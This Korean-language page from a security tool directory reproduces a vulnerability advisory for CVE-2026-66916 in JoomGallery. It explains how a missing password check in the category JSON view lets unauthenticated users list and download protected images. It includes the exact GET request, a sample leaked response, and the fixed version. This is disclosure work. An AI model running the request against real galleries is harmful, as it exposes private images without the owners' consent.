Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-66916 — JoomGallery에서 JSON 형식을 통한 비밀번호로 보호된 카테고리 우회 | Kitploit
도구/GitHubGitHub/toanln-cov/cve-2026-66916
Vulnerability AnalysisWeb Application ExploitationWeb Security
GitHubtoanln-cov/cve-2026-66916

CVE-2026-66916

JoomGallery에서 JSON 형식을 통한 비밀번호로 보호된 카테고리 우회

저장소 보기
1일 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

JoomGallery의 JSON 형식을 통한 비밀번호 보호 카테고리 우회

JoomGallery ≤ 4.3.0-stable — 인증되지 않은 공격자가 비밀번호 게이트를 우회하여 보호된 이미지 다운로드

CVE CVSS v4.0 CWE-284 Affected Researcher


요약

JoomGallery의 카테고리 JSON 뷰에 인증되지 않은 접근 제어 우회가 존재합니다. 갤러리 카테고리가 비밀번호로 보호되어 있을 때 HTML 뷰는 비밀번호 게이트를 올바르게 적용하지만, JSON 뷰(format=json)는 이 검사를 완전히 건너뜁니다.

자격 증명이 없는 원격 공격자는 카테고리의 제목, 설명, 그리고 보호된 모든 이미지의 무작위 파일명을 가져온 후 해당 이미지를 직접 다운로드할 수 있습니다. 비밀번호 보호 기능은 단일 HTTP 요청으로 우회됩니다.

이 우회는 Joomla ACL 액세스 수준이 Public(access=1)으로 설정된 카테고리에만 적용됩니다. Registered 또는 Special 액세스로 제한된 카테고리는 JsonView.php:69의 ACL 계층에서 여전히 차단됩니다.


영향을 받는 버전

컴포넌트취약 버전테스트 환경수정 버전
JoomGallery4.3.0-stableJoomla 5.4.7 + JoomGallery 4.3.0-stable (PHP 8.x / Apache)4.4.0

취약점 상세 정보

유형: 부적절한 접근 제어 (CWE-284) 필요한 인증: 없음 — 인증되지 않은 단일 HTTP 요청 파일: site/com_joomgallery/src/View/Category/JsonView.php, 76–96행

근본 원인

JoomGallery는 pw_protected 플래그를 통해 카테고리에 대한 비밀번호 보호를 구현합니다. 이 검사는 HtmlView.php에는 존재하지만 JsonView.php에는 완전히 없습니다:

HTMLVIEW.PHP — 올바름(가드 존재)

root@kitploit:~
// 콘텐츠는 숨겨지고 비밀번호 양식이 렌더링됩니다
if (!$this->item->pw_protected) {
    $this->item->images->items   = $model->getImages();
    $this->item->children->items = $model->getChildren();
}

JSONVIEW.PHP — 취약함(가드 없음)

root@kitploit:~
// JsonView.php:76-96 — pw_protected 검사 없음; 콘텐츠가 무조건 반환됨
$this->item->parent          = $model->getParent();
$this->item->children->items = $model->getChildren();  // 항상 실행됨
$this->item->images->items   = $model->getImages();    // 항상 실행됨
$this->output($this->item);  // 파일명을 포함한 전체 응답을 JSON으로 직렬화

Joomla의 format=json 매개변수는 동일한 URL을 별도의 View 클래스로 라우팅합니다. 각 View는 접근 검사를 독립적으로 적용해야 하며, 프레임워크는 이를 자동으로 전파하지 않습니다. 개발자는 HtmlView에 pw_protected 가드를 추가했지만 JsonView에는 이를 누락했습니다.

JoomGallery의 비밀번호 보호는 이미지 파일명을 비밀로 유지하는 데 의존합니다. 파일은 /images/joomgallery/originals/ 아래에 정적 자산으로 저장되며 서버 측 인증 없이 Apache에 의해 직접 제공됩니다. 파일명은 무작위화되며(예: secret-image-1_20260803_1951053711.jpg) PHP/Joomla 계층의 비밀번호 검사를 통과한 후에만 공개됩니다. JSON 우회는 인증되지 않은 요청자에게 파일명을 공개하여 이 모델을 깨뜨리고, 전체 이미지 검색까지 이어지는 공격 체인을 완성합니다.


개념 증명

실습 환경:

  • 카테고리: Secret Gallery (id=3, pw_protected=true, access=Public)
  • 포함 콘텐츠: Secret Image 1 (secret-image-1_20260803_1951053711.jpg)
  • 아래 모든 단계에서 쿠키, 세션, 자격 증명을 사용하지 않음

1. HTML 뷰는 비밀번호 게이트를 적용함

root@kitploit:~
GET /index.php/component/joomgallery/category/3

결과: 비밀번호 양식이 렌더링됨. 카테고리 콘텐츠는 표시되지 않음.

Step 1 — HTML 비밀번호 게이트


2. HTML을 통한 직접 이미지 접근도 차단됨

root@kitploit:~
GET /index.php/gallery/categories/3-secret-gallery

결과: 별칭(Alias) 경로 내 직접 이미지 접근 차단됨 (/3-secret-gallery)

Step 2 — 이미지 접근 차단


3. JSON 형식이 비밀번호 검사를 우회 — 실제 파일명 유출

root@kitploit:~
GET /index.php?option=com_joomgallery&view=category&format=json&id=3

응답 (인증 없이 HTTP 200):

root@kitploit:~
{
  "success": true,
  "data": {
    "title": "Secret Gallery",
    "description": "<p>SENSITIVE: Internal photos — restricted access</p>",
    "pw_protected": true,
    "access": 1,
    "images": {
      "items": [
        {
          "title": "Secret Image 1",
          "filename": "secret-image-1_20260803_1951053711.jpg",
          "cattitle": "Secret Gallery",
          "access": "Public"
        }
      ]
    }
  }
}

pw_protected: true는 비밀번호가 설정되어 있음을 확인시켜 줍니다. 그럼에도 불구하고 무작위 파일명을 포함한 전체 응답이 인증되지 않은 호출자에게 반환됩니다.

Step 3 — JSON 우회로 파일명 유출


4. 유출된 파일명을 사용하여 보호된 이미지 다운로드

3단계에서 얻은 파일명 사용

결과: HTTP 200 — Apache가 이미지 파일을 직접 반환. 인증 불필요.

Step 4 — 보호된 이미지 다운로드됨


영향

  1. 보호된 카테고리 메타데이터 읽기 — 제목, 설명, 생성 정보, 상위 계층이 모두 인증 없이 반환됨
  2. 비밀번호로 보호된 Public 카테고리의 모든 이미지 파일명 열거 — 단일 JSON 요청으로 가능
  3. 모든 보호된 이미지 전체 원본 해상도로 다운로드 — 유출된 실제 파일명을 통한 직접 정적 파일 접근으로 가능

관리자가 비밀번호로 보호한 모든 갤러리 카테고리는 완전히 노출됩니다. 공격자에게는 순차적이고 쉽게 열거 가능한 숫자형 카테고리 ID만 있으면 됩니다.


참조

  • CVE: https://www.cve.org/CVERecord?id=CVE-2026-66916
  • NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-66916
  • GitHub Advisory: https://github.com/advisories/GHSA-g79m-pfhw-2c5m
  • 공급업체 저장소: https://github.com/JoomGallery/JoomGallery
  • 공급업체 신규 릴리스 노트: https://www.joomgalleryfriends.net/en/blog/joomgallery-4-en/joomgallery-4-4-0.html
도구 다운로드